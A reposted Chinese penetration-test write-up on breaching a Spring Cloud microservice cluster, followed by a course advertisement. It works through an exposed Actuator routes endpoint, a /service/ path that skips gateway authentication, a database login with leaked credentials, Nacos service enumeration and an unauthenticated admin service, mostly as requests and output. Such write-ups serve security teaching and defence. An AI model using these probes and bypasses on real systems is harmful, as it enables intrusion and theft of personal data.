记一次Gateway边界失效导致微服务集群失陷的渗透测试

admin 2026-08-03 04:57:58 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 某企业SpringCloud微服务集群因Gateway暴露Actuator端点导致路由信息泄露,攻击者发现路径绕过漏洞直接访问未认证的后端服务,并通过Nacos获取全部微服务实例地址,最终失陷包含敏感数据的admin-service。测试发现管理后台接口缺乏独立权限校验,可任意导出全量用户数据与系统配置。文章强调Gateway并非绝对安全边界,后端服务必须实施零信任原则。 综合评分: 95 文章分类: 渗透测试,漏洞分析,内网渗透,微服务安全,安全建设


cover_image

记一次Gateway边界失效导致微服务集群失陷的渗透测试

AlbertJay AlbertJay

C4安全

2026年7月29日 08:20 江苏

在小说阅读器读本章

去阅读

CTF课程培训

扫码咨询

#

专注于漏洞挖掘、系统化从基础入门到实战漏洞挖掘,包含团队自整的挖掘注意点和案例、渗透经验、SRC漏洞案例、代码审计、挖洞思路等高价值资源。不定期分享各种好玩的项目及好用的工具,欢迎关注。加内部圈子,文末有优惠券。

#

文章作者:AlbertJay

文章来源:https://www.freebuf.com/articles/web/491127.html

前言

在SpringCloud微服务架构下,有一种根深蒂固的安全假设:

"Gateway负责统一认证,后端服务天然安全。"

也就是说,所有外部请求都经过Gateway,由Gateway完成身份校验和权限拦截,后端微服务只需要安心处理业务逻辑。

但问题是:如果Gateway本身配置错误,或者存在一条绕过Gateway直达后端的路径,那后端那些”天然安全”的服务,就变成了一个个敞开着大门的房间。

0x01 项目背景

随着微服务架构的普及,越来越多企业采用以下技术栈构建业务系统:

Spring Cloud Gateway —— API网关,负责统一路由和认证

Nacos / Eureka —— 服务注册与发现中心

Spring Boot —— 微服务应用框架

MySQL / Redis —— 数据存储与缓存

典型架构如下:

0x02 资产发现:找到Gateway入口

拿到授权范围后,按惯例开始资产梳理。在子域名枚举和端口扫描的结果中,有三个子域名引起了我的注意:

gateway.xxx.com

api.xxx.com

service.xxx.com

其中 gateway.xxx.com 的响应头中带有明显的Spring Cloud Gateway特征:

HTTP/1.1 200

Server: Gateway

X-Application-Context: gateway:8080

Spring Cloud Gateway——目标存在微服务网关,且直接暴露在外网。

如果Gateway是整个微服务集群的”前门”,有没有什么路径可以绕过它。

0x03 Gateway路由信息泄露

Spring Cloud Gateway默认暴露了Actuator端点,其中 /actuator/gateway/routes 会返回完整的路由配置。

尝试访问:

GET /actuator/gateway/routes HTTP/1.1

Host: gateway.xxx.com

返回200,完整的路由配置一览无余:

[

{

"route_id": "user-service",

"uri": "http://user-service:8080",

"predicates": [

"Path=/api/user/**"

],

"filters": [

"StripPrefix=1"

]

},

{

"route_id": "order-service",

"uri": "http://order-service:8081",

"predicates": [

"Path=/api/order/**"

],

"filters": [

"StripPrefix=1"

]

},

{

"route_id": "file-service",

"uri": "http://file-service:8082",

"predicates": [

"Path=/api/file/**"

],

"filters": [

"StripPrefix=1"

]

},

{

"route_id": "admin-service",

"uri": "http://admin-service:8083",

"predicates": [

"Path=/api/admin/**"

],

"filters": [

"StripPrefix=1"

]

}

]

四个后端微服务的内部地址、端口和路由规则全部泄露。

拿到路由配置后,开始系统性地测试每条路径的认证情况。

正常请求:经过Gateway认证

GET /api/user/list HTTP/1.1

Host: gateway.xxx.com

HTTP/1.1 401 Unauthorized

{"message":"未授权访问,请先登录"}

正常路径需要携带Authorization Token,Gateway的认证过滤器生效了。

探测绕过路径

根据路由配置中的信息,我注意到Gateway的路由匹配规则使用了 Path=/api/** 前缀。

这意味着如果存在其他前缀的路径能直接映射到后端服务,就可能绕过Gateway的认证过滤器。

逐一测试各种路径变体:

/api/user/list         → 401 (需要认证)

/v1/user/list          → 404 (未匹配)

/service/user/query    → ???

当尝试 /service/user/query 这个路径时:

GET /service/user/query HTTP/1.1

Host: gateway.xxx.com

HTTP/2 200 OK

Content-Type: application/json

{

"code": 200,

"data": {

"users": [

{"username":"zhangxm","email":"[email protected]","role":"USER"},

{"username":"lisi","email":"[email protected]","role":"USER"},

{"username":"admin","email":"[email protected]","role":"ADMIN"}

]

}

}

没有携带任何Token,没有经过认证过滤器,直接返回了用户数据。

根据Actuator泄露的数据库凭据,直接连接了生产数据库:

mysql -h rm-xxxxxx.mysql.rds.aliyuncs.com -u app_rw -p

Welcome to the MySQL monitor.

mysql> SHOW DATABASES;

+--------------------+

| biz_user           |

| biz_order          |

| biz_payment        |

| biz_file           |

+--------------------+

USE biz_user;

SHOW TABLES;

+---------------------+

| Tables_in_biz_user  |

+---------------------+

| user_info           |

| user_auth           |

| user_address        |

| user_bank_card      |

+---------------------+

逐表查看数据结构和数据量:

SELECT COUNT(*) FROM user_info;

-- 52318条用户记录

SELECT id, real_name, phone, id_card, email FROM user_info LIMIT 5;

SELECT id, real_name, phone, id_card, email FROM user_info LIMIT 5;

+------+----------+-------------+--------------------+----------------+

| id   | real_name| phone       | id_card            | email          |

+------+----------+-------------+--------------------+----------------+

| 1    | 张**   | 138*******8 | 31****199001****   | [email protected]  |

| 2    | 李**   | 139*******1 | 32****198812****   | [email protected]     |

+------+----------+-------------+--------------------+----------------+

在继续探测其他后端服务时,注意到Actuator的配置信息中暴露了一个关键组件的地址:

spring.cloud.nacos.discovery.server-addr=nacos.internal.xxx.com:8848

Nacos——阿里巴巴开源的服务注册与发现中心,整个微服务集群的”中枢”。 它知道每一个微服务的名称、地址和端口。

直接访问Nacos的开放API:

GET /nacos/v1/ns/instance/list?serviceName=user-service HTTP/1.1

Host: nacos.internal.xxx.com:8848

{

"hosts": [

{"ip": "10.*.*.11", "port": 8080, "serviceName": "user-service"},

{"ip": "10.*.*.12", "port": 8080, "serviceName": "user-service"}

]

}

继续枚举全部注册服务:

GET /nacos/v1/ns/service/list?pageNo=1&pageSize=100 HTTP/1.1

Host: nacos.internal.xxx.com:8848

返回了完整的微服务列表:

┌─────────────────────────────────────────────────┐

│  Nacos 服务注册列表                               │

├───────────────┬──────────────┬──────────────────┤

│ 服务名称       │ 实例IP        │ 端口              │

├───────────────┼──────────────┼──────────────────┤

│ user-service  │ 10.*.*.11-12 │ 8080              │

│ order-service │ 10.*.*.21-22 │ 8081              │

│ file-service  │ 10.*.*.31    │ 8082              │

│ admin-service │ 10.*.*.41    │ 8083              │

│ payment-svc   │ 10.*.*.51-52 │ 8084              │

│ notify-worker │ 10.*.*.61    │ 8085              │

└───────────────┴──────────────┴──────────────────┘

最终目标指向了 admin-service——管理服务,它通常是整个微服务集群中权限最高、数据最敏感的节点。

通过绕过路径访问管理服务:

GET /service/admin/dashboard HTTP/1.1

Host: gateway.xxx.com

{

"code": 200,

"data": {

"totalUsers": 52318,

"totalOrders": 128456,

"todayRevenue": 156800.50,

"activeAdmins": 3

}

}

管理后台仪表盘数据直接返回,无需任何认证。

继续枚举管理服务的接口:

/service/admin/users 用户管理 完整用户列表,含姓名、手机号、身份证

/service/admin/orders 订单管理 全部订单详情,含金额、状态、支付信息

/service/admin/export/users 用户数据导出 支持批量导出全量用户数据

/service/admin/config 系统配置 各组件连接配置与凭据

管理服务的全部功能——用户管理、订单管理、数据导出、系统配置——均未做独立的权限校验,对任何到达的请求直接返回数据。


内部CTF课程上线,总课程30+小时,优惠折扣中!

帮会简介

安全渗透感知》是FreeBuf知识大陆的重量级帮会,帮会致力于漏洞POC/EXP、红队攻防实战,是系统化从基础入门到实战漏洞挖掘的教程社区,包含团队自整的挖掘注意点和案例,还包含分享的渗透经验、SRC漏洞案例、代码审计、挖洞思路等高价值资源。

内容框架(持续新增中)

目前已有「730+」小伙伴加入了帮会

加入方式

目前帮会成员730+人,永久会员优惠后只需69.9元

随着人数的增加及资源的积累,之后永久会员将涨价至99元

有意向的师傅们可以扫码加入我们,共同进步。

如何加入帮会?→安卓/苹果用户可扫码使用优惠券↓↓

→ PC端用户可复制此链接到浏览器↓↓

https://wiki.freebuf.com/societyDetail?society_id=184


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:C4安全 AlbertJay AlbertJay《记一次Gateway边界失效导致微服务集群失陷的渗透测试》

评论:0   参与:  0